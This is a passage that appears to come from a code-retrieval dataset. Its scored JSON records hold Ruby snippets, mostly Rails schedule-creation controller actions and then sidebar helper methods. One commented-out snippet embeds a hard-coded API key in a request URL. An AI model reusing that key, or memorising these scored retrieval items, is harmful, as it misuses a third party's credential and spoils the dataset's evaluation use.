"0.66601413", "text": "def create\n\t\tverify_create_params\n\t\tverify_create_param_values\n\n\t\t@schedule = Schedule.create(name: params[:name],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttime: params[:time],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tis_active: params[:is_active],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tis_recurring: params[:is_recurring])\n\t\tparams[:days].each do |d|\n\t\t\t@schedule.schedule_days << ScheduleDay.create(day_id: d, schedule_id: @schedule.id)\n\t\tend\n\n\t\tscheduled_car = Car.find(params[:car_id])\n\t\tscheduled_car.schedules << @schedule\n\tend", "title": "" }, { "docid": "a118974f5b2fa4f35f85d5db610c06ed", "score": "0.66530997", "text": "def create\n @email_schedule = EmailSchedule.new(params[:email_schedule])\n\n respond_to do |format|\n if @email_schedule.save\n format.html { redirect_to @email_schedule, notice: 'Email schedule was successfully created.' }\n format.json { render json: @email_schedule, status: :created, location: @email_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c51600cd3e1d85cf7d79a44a5c4b505", "score": "0.6643345", "text": "def create\n @collection_schedule = CollectionSchedule.new(collection_schedule_params)\n\n respond_to do |format|\n if @collection_schedule.save\n format.html { redirect_to @collection_schedule, notice: 'Collection schedule was successfully created.' }\n format.json { render action: 'show', status: :created, location: @collection_schedule }\n else\n format.html { render action: 'new' }\n format.json { render json: @collection_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c37560a56b47d9d1f3f725aa635c8491", "score": "0.66218626", "text": "def create\n @service_schedule = ServiceSchedule.new(service_schedule_params)\n\n if @service_schedule.save\n audit(@service_schedule, current_user)\n render json: @service_schedule, status: :created\n else\n render json: @service_schedule.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5343d9262ec519b270d30809799d3a92", "score": "0.66207063", "text": "def create\n @schedule = Schedule.new(schedule_params).tap { |schedule| schedule.payee_id = @payee.id }\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @payee, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ebbf5437a9d671c916af5904dcea7a8a", "score": "0.6616948", "text": "def create\n Schedule.where(\"user_id = '#{current_user.id}' AND course_id is NULL\").each do |schedule| \n schedule.destroy \n end\n params[:time].keys.each do |times|\n @schedule = Schedule.new()\n day = times.split(\" \")[0]\n @schedule.user_id = current_user\n @schedule.day = day\n @schedule.start_time =times.split(\" \")[1].split('-')[0]\n @schedule.end_time = times.split(\" \")[1].split('-')[1]\n @schedule.save\n end\n respond_to do |format|\n format.html { redirect_to new_user_schedule_path(current_user), notice: 'Schedule has been successfully updated' }\n end\n end", "title": "" }, { "docid": "6ed2269edf21a3e463d1c03ed48f69cb", "score": "0.660052", "text": "def create\n @schedule = Schedule.new(schedule_params)\n if schedule_overlapping?(@schedule.salon_id, @schedule.start_time, @schedule.end_time)\n respond_to do |format|\n @salons = Salon.where(user_id: current_user.id)\n format.html { redirect_to :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n return\n end\n end\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3dc05329b6c125f93f9bf84e60f0bb37", "score": "0.6597448", "text": "def get_schedules(access_token, campaign_id)\n\t\t\t\t\turl = Util::Config.get('endpoints.base_url') + \n\t\t\t\t\t\t\t\tsprintf(Util::Config.get('endpoints.campaign_schedules'), campaign_id)\n\t\t\t\t\turl = build_url(url)\n\t\t\t\t\tresponse = RestClient.get(url, get_headers(access_token))\n\t\t\t\t\tbody = JSON.parse(response.body)\n\n\t\t\t\t\tschedules = []\n\t\t\t\t\tbody.each do |schedule|\n\t\t\t\t\t\tschedules << Components::Schedule.create(schedule)\n\t\t\t\t\tend\n\n\t\t\t\t\tschedules\n\t\t\t\tend", "title": "" }, { "docid": "7cf33607aa345e1ec6db737ddc31d642", "score": "0.6589925", "text": "def create\n @recurring_schedule = RecurringSchedule.new(recurring_schedule_params)\n\n respond_to do |format|\n if @recurring_schedule.save\n format.html { redirect_to @recurring_schedule, notice: 'Recurring schedule was successfully created.' }\n format.json { render :show, status: :created, location: @recurring_schedule }\n else\n format.html { render :new }\n format.json { render json: @recurring_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dba6f0f79f85669a9877ad4f1e71f0f8", "score": "0.6572684", "text": "def create\n @kr_schedule = KrSchedule.new(params[:kr_schedule])\n\n respond_to do |format|\n if @kr_schedule.save\n format.html { redirect_to @kr_schedule, notice: 'Kr schedule was successfully created.' }\n format.json { render json: @kr_schedule, status: :created, location: @kr_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @kr_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1bb0bf8896b9249d021b64109ce03811", "score": "0.6570652", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html do\n redirect_to @schedule.article, notice: 'Schedule was successfully created.'\n end\n format.json { render :show, status: :created, location: @scheduler }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7d308d2d4b8df1107525992b88286a3e", "score": "0.6562931", "text": "def schedules=(value)\n @schedules = value\n end", "title": "" }, { "docid": "e251bf4acc4193cad4703c896665aa23", "score": "0.65603805", "text": "def create\n @reloud_schedule = ReloudSchedule.new(reloud_schedule_params)\n\n respond_to do |format|\n if @reloud_schedule.save\n format.html { redirect_to reloud_schedules_path, notice: 'Reloud schedule was successfully created.' }\n format.json { render json: @reloud_schedule, status: :created, location: @reloud_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reloud_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9a4265b12ffa7e48b59e70d60d89657", "score": "0.6548758", "text": "def schedule_params\n params.require(:schedule).permit(:title, :schedule_date, :description, :finished)\n end", "title": "" }, { "docid": "7a2d3fa567a75d2bf903889fe33281fa", "score": "0.6547662", "text": "def create\n @checkin_schedule = current_user.checkin_schedules.new(params[:checkin_schedule])\n\n respond_to do |format|\n if @checkin_schedule.save\n format.html { redirect_to dashboard_checkin_schedules_path, notice: 'Program başarıyla oluşturuldu.' }\n format.json { render json: @checkin_schedule, status: :created, location: @checkin_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checkin_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db65d24398c67df37dd6372e6b495dbd", "score": "0.65391344", "text": "def create\n @schedules_event = SchedulesEvent.new(params[:schedules_event])\n\n respond_to do |format|\n if @schedules_event.save\n format.html { redirect_to @schedules_event, notice: 'Schedules event was successfully created.' }\n format.json { render json: @schedules_event, status: :created, location: @schedules_event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedules_event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "96fa57d1ea57925ba907067e89544a76", "score": "0.6528816", "text": "def post_workforcemanagement_schedules(opts = {})\n data, _status_code, _headers = post_workforcemanagement_schedules_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "96fa57d1ea57925ba907067e89544a76", "score": "0.6528816", "text": "def post_workforcemanagement_schedules(opts = {})\n data, _status_code, _headers = post_workforcemanagement_schedules_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "5209d58cd44ae8705b2bbcbae66f271f", "score": "0.6528693", "text": "def create\n @visiting_schedule = VisitingSchedule.new(visiting_schedule_params)\n\n respond_to do |format|\n if @visiting_schedule.save\n format.html { redirect_to @visiting_schedule, notice: 'Visiting schedule was successfully created.' }\n format.json { render :show, status: :created, location: @visiting_schedule }\n else\n format.html { render :new }\n format.json { render json: @visiting_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db657a524efc9f631f1eccea93db6bfd", "score": "0.65283096", "text": "def index\n schedules = Schedule.all\n render json: schedules, status: 200\n\n ################# API PULL CODE #############################\n\n # @uri = HTTParty.get\"http://api.sportsdatallc.org/nba-t3/games/2014/REG/schedule.xml?api_key=3jdhu8c22zst6mn3p6fajnze\"\n\n # @length = @uri['league']['season_schedule']['games']['game'].length\n \n # for @i in 0...@length \n \n # @home = @uri['league']['season_schedule']['games']['game'][@i]['home_team']\n # @away = @uri['league']['season_schedule']['games']['game'][@i]['away_team']\n # @fulldate = @uri['league']['season_schedule']['games']['game'][@i]['scheduled']\n\n # # fulldate_array = fulldate.split('T')\n # # @date = fulldate_array[0]\n # # @time = fulldate_array[1].split('+')[0]\n\n # Schedule.create(home_team_id: @home, away_team_id: @away, game_date: @fulldate)\n # end\n # @teams = @uri['league']['season_schedule']['games']['game']\n end", "title": "" }, { "docid": "8f0ca9d9fb92adadc35722d701b34f93", "score": "0.6526331", "text": "def create\n @rescheduling = Rescheduling.new(params[:rescheduling])\n\n respond_to do |format|\n if @rescheduling.save\n format.html { redirect_to @rescheduling, notice: 'Rescheduling was successfully created.' }\n format.json { render json: @rescheduling, status: :created, location: @rescheduling }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rescheduling.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "101fb924d157dac641cf99421e715890", "score": "0.6526117", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to upload_success_path }\n format.json { render json: @schedule, status: :created, location: @schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f09178bb29d91cf77f14de5538d91d2", "score": "0.65260726", "text": "def create_schedule(options={})\n create_request(\"nonpci\", CREATE_SCHEDULE_ACTION) do |xml|\n xml['px'].CreateSchedule do\n xml['px'].DigitalKey DirectDebit::Ezidebit::api_digital_key\n options.each { |key,value| xml['px'].send(key, value)}\n end\n end\n response = request_it!\n parse(response, \"generic_status_response\", 'CreateSchedule')\n end", "title": "" }, { "docid": "986dbb27c43ff2a6b1c7964d3aed5d6b", "score": "0.6525727", "text": "def schedule_params\n params.require(:schedule).permit(:salon_id, :start_time, :end_time, :recruitment_numbers, :notes, :title, :room_id)\n end", "title": "" }, { "docid": "f4365b418c6d43e9a0b7ea483d74eca5", "score": "0.65227747", "text": "def create\n @schedule = Schedule.new(params[:schedule])\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to(@schedule, :notice => 'Schedule was successfully created.') }\n format.xml { render :xml => @schedule, :status => :created, :location => @schedule }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5669384157b3aa909d50613991f5681d", "score": "0.65166163", "text": "def create\n @instructors_schedule = InstructorsSchedule.new(instructors_schedule_params)\n\n respond_to do |format|\n if @instructors_schedule.save\n format.html { redirect_to @instructors_schedule, notice: 'Instructors schedule was successfully created.' }\n format.json { render :show, status: :created, location: @instructors_schedule }\n else\n format.html { render :new }\n format.json { render json: @instructors_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15fcd6f3e951cd6698247e26b64bf3ae", "score": "0.65145975", "text": "def create\n @nfi_schedule = NfiSchedule.new(nfi_schedule_params)\n\n respond_to do |format|\n if @nfi_schedule.save\n format.html { redirect_to @nfi_schedule, notice: 'Nfi schedule was successfully created.' }\n format.json { render :show, status: :created, location: @nfi_schedule }\n else\n format.html { render :new }\n format.json { render json: @nfi_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "56adc1c18edfe47a0e0bf1d2c723bf9f", "score": "0.6508067", "text": "def create\n @detail_schedule = DetailSchedule.new(detail_schedule_params)\n\n respond_to do |format|\n if @detail_schedule.save\n format.html { redirect_to @detail_schedule, notice: 'Detail schedule was successfully created.' }\n format.json { render :show, status: :created, location: @detail_schedule }\n else\n format.html { render :new }\n format.json { render json: @detail_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c70db5207795257d1d1f0279947d239", "score": "0.6505733", "text": "def create\n @driver_schedule = DriverSchedule.new(params[:driver_schedule])\n\n respond_to do |format|\n if @driver_schedule.save\n format.html { redirect_to @driver_schedule, notice: 'Driver schedule was successfully created.' }\n format.json { render json: @driver_schedule, status: :created, location: @driver_schedule }\n else\n format.html { render action: \"new\" }\n format.json { render json: @driver_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f01dfddbd097cd5d320473cb59b0048", "score": "0.648844", "text": "def create\n @schedule = current_user.schedules.new(schedule_params)\n if @schedule.save\n redirect_to schedules_path, notice: 'Schedule was successfully created.'\n else\n render :new\n end\n end", "title": "" }, { "docid": "5ead30d06ea82ef1ff4b4f03e3c48bd1", "score": "0.6488353", "text": "def create\n @schedule = Schedule.new(schedule_params)\n @schedule.event_for[\"ids\"] = params[:schedule][:event_for][:ids].reject(&:blank?).join(\",\")\n @schedule.event_for[\"names\"] = ClassRoom.where(id: params[:schedule][:event_for][:ids].reject(&:blank?)).map(&:full_name).join(', ')\n @schedule.creator = current_teacher\n @schedule.school_branch_id = current_school_branch.id\n\n respond_to do |format|\n if @schedule.save\n MailerWorker.perform_async :schedule_added, [@schedule.id]\n format.html { redirect_to @schedule, notice: 'Schedule was successfully created.' }\n format.js { set_flash_messages type: \"notice\", message: \"Schedule saved sucessfully\" }\n format.json { render :show, status: :created, location: @schedule }\n else\n format.html { render :new }\n format.js { }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a7e79a18f8e91ee15bd9a89b7695e1e", "score": "0.6475211", "text": "def create\n @schedule = Schedule.new(schedule_params)\n\n respond_to do |format|\n if @schedule.save\n format.html { redirect_to [:specialists, @schedule], notice: 'Schedule was successfully created.' }\n format.json { render :show, status: :created, location: [:specialists, @schedule] }\n else\n format.html { render :new }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6db0a8d1d46446f614527fc0e5dd47ba", "score": "0.6472708", "text": "def schedule(class_name, data, schedule)\n puts \"Scheduling #{class_name}...\"\n raise \"Schedule must be a hash.\" if !schedule.is_a? Hash\n# if !data.is_a?(Array)\n# data = [data]\n# end\n hash_to_send = {}\n hash_to_send[\"payload\"] = data\n hash_to_send[\"class_name\"] = class_name\n hash_to_send[\"schedule\"] = schedule\n add_sw_params(hash_to_send)\n# puts ' about to send ' + hash_to_send.inspect\n ret = post(\"scheduler/schedule\", hash_to_send)\n ret\n end", "title": "" }, { "docid": "6db0a8d1d46446f614527fc0e5dd47ba", "score": "0.6472708", "text": "def schedule(class_name, data, schedule)\n puts \"Scheduling #{class_name}...\"\n raise \"Schedule must be a hash.\" if !schedule.is_a? Hash\n# if !data.is_a?(Array)\n# data = [data]\n# end\n hash_to_send = {}\n hash_to_send[\"payload\"] = data\n hash_to_send[\"class_name\"] = class_name\n hash_to_send[\"schedule\"] = schedule\n add_sw_params(hash_to_send)\n# puts ' about to send ' + hash_to_send.inspect\n ret = post(\"scheduler/schedule\", hash_to_send)\n ret\n end", "title": "" }, { "docid": "4efad830517dfc0ec4532b4839c94e1c", "score": "0.64624107", "text": "def create\n @simple_schedule = SimpleSchedule.new(params[:simple_schedule])\n\n respond_to do |format|\n if @simple_schedule.save\n format.html { redirect_to(@simple_schedule, :notice => 'Simple schedule was successfully created.') }\n format.xml { render :xml => @simple_schedule, :status => :created, :location => @simple_schedule }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @simple_schedule.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61af384f192b7d546c1b66a52ccefcdb", "score": "0.64605445", "text": "def create\n @kaunsering_schedule = KaunseringSchedule.new(kaunsering_schedule_params)\n\n respond_to do |format|\n if @kaunsering_schedule.save\n format.html { redirect_to @kaunsering_schedule, notice: 'Kaunsering schedule was successfully created.' }\n format.json { render :show, status: :created, location: @kaunsering_schedule }\n else\n format.html { render :new }\n format.json { render json: @kaunsering_schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
56f7af20f52a7473e7456aeac4634252
Return the specified sidebar box. Default to the first box.
[ { "docid": "9b0e34417ecbb34ae683173b344b9596", "score": "0.80659115", "text": "def sidebar_box(index=0)\n sidebar_boxes[index]\n end", "title": "" } ]
[ { "docid": "73719c96409a9dfc0876e1ce7aecc6c3", "score": "0.69090015", "text": "def sidebar\n @sidebar ||= find_sub_page(:sidebar)\n end", "title": "" }, { "docid": "73719c96409a9dfc0876e1ce7aecc6c3", "score": "0.69090015", "text": "def sidebar\n @sidebar ||= find_sub_page(:sidebar)\n end", "title": "" }, { "docid": "84aa89e7762c1ee5d0ef799348122dbb", "score": "0.6749518", "text": "def sidebar_box_by_id(id)\n wait_for_sidebar\n sidebar.find_element(:id, id)\n end", "title": "" }, { "docid": "84aa89e7762c1ee5d0ef799348122dbb", "score": "0.6749518", "text": "def sidebar_box_by_id(id)\n wait_for_sidebar\n sidebar.find_element(:id, id)\n end", "title": "" }, { "docid": "d12dcb9928ce0fbc6a85690f2de78821", "score": "0.6664377", "text": "def sidebar_boxes()\n sidebar.find_elements(:class_name, \"box\")\n end", "title": "" }, { "docid": "b89727686c27e9eb11196c3c24141f54", "score": "0.66082567", "text": "def sidebar\n ''\n end", "title": "" }, { "docid": "b5673555de275c279fdb5898c1cbe89d", "score": "0.64390963", "text": "def sidebar_boxes()\n wait_for_sidebar\n sidebar.find_elements(:class, \"box\")\n end", "title": "" }, { "docid": "b5673555de275c279fdb5898c1cbe89d", "score": "0.64390963", "text": "def sidebar_boxes()\n wait_for_sidebar\n sidebar.find_elements(:class, \"box\")\n end", "title": "" }, { "docid": "174a8b0e778e7a60e6e245e99ae03291", "score": "0.6411885", "text": "def sidebar_help_box()\n sidebar_box_by_id(\"help\")\n end", "title": "" }, { "docid": "174a8b0e778e7a60e6e245e99ae03291", "score": "0.6411885", "text": "def sidebar_help_box()\n sidebar_box_by_id(\"help\")\n end", "title": "" }, { "docid": "d074b4ce3b62a71d03637fa7e11d3dbf", "score": "0.6401722", "text": "def find_sidebar(value, key = :id)\n sidebars.select { |v| v[key] == value }.first\n end", "title": "" }, { "docid": "6a7a6819616c4c63c83f580522321f81", "score": "0.6166945", "text": "def sidebar()\n @driver.find_elements(:class_name, \"yui-b\").last\n end", "title": "" }, { "docid": "d7410c7d1f31a75a84a12ca7114003f0", "score": "0.6144959", "text": "def sidebar_section\n current = current_page.data.sidebar_current\n return '' if !current\n current.split('-')[0]\n end", "title": "" }, { "docid": "eb45ee1c8b29b90bc3e5776aa53540fd", "score": "0.61304903", "text": "def sidebar_section\n current = current_page.data.sidebar_current\n return \"\" if !current\n current.split(\"-\")[0]\n end", "title": "" }, { "docid": "ef288fa1fe048a4779b6adb5e5cb3e89", "score": "0.6118784", "text": "def with_sidebar_class\n ('with-sidebar' if area(:sidebar).present?)\n end", "title": "" }, { "docid": "06aef881d850962dabc3fe401a72971b", "score": "0.60758334", "text": "def sidebar\n extension['sidebar']\n end", "title": "" }, { "docid": "785586cd0ab2f740ecfa755bf0086c8a", "score": "0.6055014", "text": "def main_box_1\n return MainBox1.new(self, '.main-box1')\n end", "title": "" }, { "docid": "be2fe8728631486cb5574b0614669d9b", "score": "0.6029314", "text": "def sidebar()\n @driver.find_element(:id, \"sidebar\")\n end", "title": "" }, { "docid": "bdbb868e5c289fef0da50beef13dc2ab", "score": "0.59668994", "text": "def get_sidebar_class(sidebar_number)\r\n sidebar_number = 0 if sidebar_number.nil?\r\n #MES- Skobee has one class style for the FIRST sidebar item,\r\n # and subsequent sidebar items have a different style.\r\n if 0 == sidebar_number\r\n return \"section blue\", sidebar_number + 1\r\n else\r\n return \"section grey_middle\", sidebar_number + 1\r\n end\r\n end", "title": "" }, { "docid": "5ba3b00cc361ed1f224039dc096e84fa", "score": "0.5946409", "text": "def sidebar_account_box()\n sidebar_box_by_id(\"account\")\n end", "title": "" }, { "docid": "5ba3b00cc361ed1f224039dc096e84fa", "score": "0.5946409", "text": "def sidebar_account_box()\n sidebar_box_by_id(\"account\")\n end", "title": "" }, { "docid": "7917cdfa1f20d9b36e752bede1b7bb35", "score": "0.585045", "text": "def box_widget\n return if @widget.blank?\n rendered_children[@widget.name]\n end", "title": "" }, { "docid": "e8c38e4d987f84b8689187c7f4c212fe", "score": "0.5759455", "text": "def set_sidebar\n @sidebar = Sidebar.find(params[:id])\n end", "title": "" }, { "docid": "e8c38e4d987f84b8689187c7f4c212fe", "score": "0.5759455", "text": "def set_sidebar\n @sidebar = Sidebar.find(params[:id])\n end", "title": "" }, { "docid": "cdf4f1ccfadd07506a9b18f3f5e58b6e", "score": "0.56933975", "text": "def get_box(box_name)\n check_box(box_name)\n @boxes[box_name]\n end", "title": "" }, { "docid": "d6c02f304a8569050526da389cc3d478", "score": "0.5663101", "text": "def get_box(box)\n droplet_api.find_by_name(box.name)\n end", "title": "" }, { "docid": "4c638d8cb6ff84c50fec0afec403b818", "score": "0.56586385", "text": "def sidebar_identifier(*opts)\n return 'sidebar_empty' if current_res_module == nil\n Resources.const_get(current_res_module).sidebar_identifier(*opts)\n end", "title": "" }, { "docid": "fae134e23e45f7db069e7ac1cd6ed661", "score": "0.5633598", "text": "def sidebar_additional_options_box()\n sidebar_box_by_id(\"additional_options\")\n end", "title": "" }, { "docid": "fae134e23e45f7db069e7ac1cd6ed661", "score": "0.5633598", "text": "def sidebar_additional_options_box()\n sidebar_box_by_id(\"additional_options\")\n end", "title": "" }, { "docid": "1ce65f2a6ae4f82d309b079c58ee1612", "score": "0.5632323", "text": "def sidebar(opts={}, &content)\n @sidebar = content_tag(:div, capture(&content), {:id => \"sidebar\"}.merge(opts)) if block_given? and !@sidebar;\n (@hide_sidebar) ? \"\" : (@sidebar || \"\");\n end", "title": "" }, { "docid": "c8c2e9899c71e313a5e979df56542b00", "score": "0.56256604", "text": "def sidebar_box_items(index=0)\n sidebar_box(index).find_elements(:tag_name, \"li\")\n end", "title": "" }, { "docid": "c8c2e9899c71e313a5e979df56542b00", "score": "0.56256604", "text": "def sidebar_box_items(index=0)\n sidebar_box(index).find_elements(:tag_name, \"li\")\n end", "title": "" }, { "docid": "3c80dacf86844bc9f07f164e60d9a2bd", "score": "0.5610309", "text": "def find_sidebar_index(value, key = :id)\n sidebars.index(find_sidebar(value, key))\n end", "title": "" }, { "docid": "399f0388091b45ad97dbf88600778521", "score": "0.5588843", "text": "def get_side side\n side = side.to_sym\n case side\n when :left\n return get_side_left\n when :right\n return get_side_right\n when :top\n return get_side_top\n when :bottom\n return get_side_bottom\n else\n return nil\n end\n end", "title": "" }, { "docid": "39d9e1438009fdb37e6909277a767900", "score": "0.5582793", "text": "def sidebar\n @sidebar ||= begin\n sidebar = []\n load_config('sidebar').each { |k, attrs| sidebar << attrs.to_ostruct }\n sidebar.each do |attrs|\n # resolve route\n path = \"#{attrs.route.split('.').last}_path\"\n if attrs.route.split('.').first == 'cambium'\n attrs.route = @view.cambium.send(path)\n else\n attrs.route = @view.main_app.send(path)\n end\n # figure out if it's active\n attrs.active = false\n if(\n (\n attrs.controllers &&\n attrs.controllers.include?(@view.controller_name)\n ) || @view.request.path == attrs.route\n )\n attrs.active = true\n end\n end\n sidebar\n end\n end", "title": "" }, { "docid": "332061cc4ae3d2b5bda196b70178bb35", "score": "0.55356604", "text": "def sidebars; self.class.sidebars; end", "title": "" }, { "docid": "78dde9166f0aab5af3b5428fcebac565", "score": "0.55231214", "text": "def side_bar_box(header, opts = {}, &blk)\n haml_tag(:div, :class => opts[:class]) do\n haml_tag(:h3, header)\n haml_tag(:div, capture_haml(&blk), :class => \"box_content\")\n end.to_s\n end", "title": "" }, { "docid": "fd2f72ee7739a9d4c960533dfc5be855", "score": "0.55170786", "text": "def box\n boxes.find(config.vm.box)\n end", "title": "" }, { "docid": "54f4d6f2b5ef72d2b635a36ee02bfb23", "score": "0.5438363", "text": "def box_arg(args)\n abort \"Invalid box provided\" if args[:box] && !BOXES.include?(args[:box])\n args[:box] || BOXES.first\nend", "title": "" }, { "docid": "3aa1a5e501d686b42948b2c80468aad2", "score": "0.5431537", "text": "def sidebar_help_box_items()\n sidebar_box_items_by_id(\"help\")\n end", "title": "" }, { "docid": "3aa1a5e501d686b42948b2c80468aad2", "score": "0.5431537", "text": "def sidebar_help_box_items()\n sidebar_box_items_by_id(\"help\")\n end", "title": "" }, { "docid": "a9109d1a5422ce9fc947860499370020", "score": "0.5397103", "text": "def sidebar_items_of_type(type)\n sidebar_items = current_component_host.sidebar_items\n type ? sidebar_items.select { |item| item.fetch(:type, :normal) == type } : sidebar_items\n end", "title": "" }, { "docid": "32b4be3d7cc4d196bd9fd7269ba358ed", "score": "0.5374752", "text": "def sidebar_current(expected)\n current = current_page.data.sidebar_current || \"\"\n if current.start_with?(expected)\n return \" class=\\\"active\\\"\"\n else\n return \"\"\n end\n end", "title": "" }, { "docid": "ec14b2645775dd5e00cf22e7938b3458", "score": "0.53400844", "text": "def sidebar_md\n build_sidebar_md(self.fs_path, 0)\n end", "title": "" }, { "docid": "58a146191055a2714309fda6dbf8c1f1", "score": "0.52814114", "text": "def sidebar_split\n\t\tsidebar_section_end + sidebar_section_start\n\tend", "title": "" }, { "docid": "f971cee8a0b384f1743c2100968852cf", "score": "0.5274544", "text": "def first_aside(args=nil)\n first_element('aside', args)\n end", "title": "" }, { "docid": "94c6b670600bf1bf0e7b8d76c29503e3", "score": "0.5248594", "text": "def load_sidebar\n if current_user.nil?\n @user_type = \"not login\"\n else\n @user_type = current_user.role\n end\n end", "title": "" }, { "docid": "4553e6063d356c0e6862eaf2d618ccc0", "score": "0.524545", "text": "def visit_sidebar node\n append_blank_line\n append_block_title node \n elements = node.elements.to_a\n # TODO make skipping title a part of append_block_title perhaps?\n if elements.size > 0 && elements.first.name == 'title'\n elements.shift\n end\n if elements.size == 1 && PARA_TAG_NAMES.include?((child = elements.first).name)\n append_line '[sidebar]'\n append_line format_text child\n else\n append_line '****'\n @adjoin_next = true\n proceed node\n @adjoin_next = false\n append_line '****'\n end\n false\n end", "title": "" }, { "docid": "b9afc8c6efe25000fa436b6efd9e9fee", "score": "0.52432793", "text": "def available\n ::Sidebar.available_sidebars\n end", "title": "" }, { "docid": "abc7817ac8961a756397a04b5e0daadd", "score": "0.5230194", "text": "def set_left_sidebar\n @left_sidebar = LeftSidebar.find(params[:id])\n end", "title": "" }, { "docid": "d5d9a252ed6315e21e77fd4176ff25f1", "score": "0.5217818", "text": "def toggleSidebar(sender)\n\n frame = @left_view.frame\n\n if frame.size.width == 0.0\n @splitView.setPosition(200.0, ofDividerAtIndex:0)\n else\n @splitView.setPosition(0.0, ofDividerAtIndex:0)\n end\n\n end", "title": "" }, { "docid": "e9dc3cf61419b615a82cb02cf0a2c2af", "score": "0.52137434", "text": "def sidebar_box_items_by_id(id)\n sidebar_box_by_id(id).find_elements(:tag_name, \"li\")\n end", "title": "" }, { "docid": "e9dc3cf61419b615a82cb02cf0a2c2af", "score": "0.52137434", "text": "def sidebar_box_items_by_id(id)\n sidebar_box_by_id(id).find_elements(:tag_name, \"li\")\n end", "title": "" }, { "docid": "77511f1b0c619a466ccaa2f76b5e5ac8", "score": "0.5211757", "text": "def show_sidebar\n @sidebar = true\n end", "title": "" }, { "docid": "7a5c6dad496187f4db50010abe7c18a7", "score": "0.5181692", "text": "def id\n \"#{name.downcase.underscore}_sidebar_section\".parameterize\n end", "title": "" }, { "docid": "30895fc270374c77c53ea3d3398c85ec", "score": "0.5179485", "text": "def side_pane_partial\n @side_pane || \"#{controller_ref}/side_pane\"\n end", "title": "" }, { "docid": "c975aff75c34d4f2d81d5d8d39cee1cb", "score": "0.5176239", "text": "def sidebar=(value)\n extension['sidebar'] = value\n end", "title": "" }, { "docid": "ca6e453728ab1f78415f86f6bcc20cc1", "score": "0.5167353", "text": "def sidebar\n id = params[:id].nil? ? params[:footballer_id] : params[:id]\n @footballer = Footballer.find_by_url(id)\n \n render\n end", "title": "" }, { "docid": "c55b817ac52dff876668d52090ce8ce5", "score": "0.51438314", "text": "def get_box(name)\n if current_provider.nil?\n raise \"Provider is unset in the environment.\"\n else\n providers[current_provider].get_box(name)\n end\n end", "title": "" }, { "docid": "3130656ecd7b2a924bc2f652f684208a", "score": "0.51233226", "text": "def show\n @sidebar = Sidebar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sidebar }\n end\n end", "title": "" }, { "docid": "e95d8967c57bcb75e75b1765a93f5464", "score": "0.5117895", "text": "def sidebar_classes\n 'page-sidebar col-md-4'\n end", "title": "" }, { "docid": "bfd08638e88a3ef2a143657fa855ca36", "score": "0.5115553", "text": "def sidebar_classes\n 'col-sm-4 col-md-3 order-1'\n end", "title": "" }, { "docid": "b112bc06728117f317ce9442445304d1", "score": "0.5114078", "text": "def show\n @sidebar = Sidebar.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sidebar }\n end\n end", "title": "" }, { "docid": "db3058fc477e0568521de8d3b7ac3694", "score": "0.51028615", "text": "def sidebar_classes\n 'col-md-4'\n end", "title": "" }, { "docid": "c0a3b45caca8a0ac6e39f58d4849bb32", "score": "0.50941736", "text": "def sidebar_classes\n 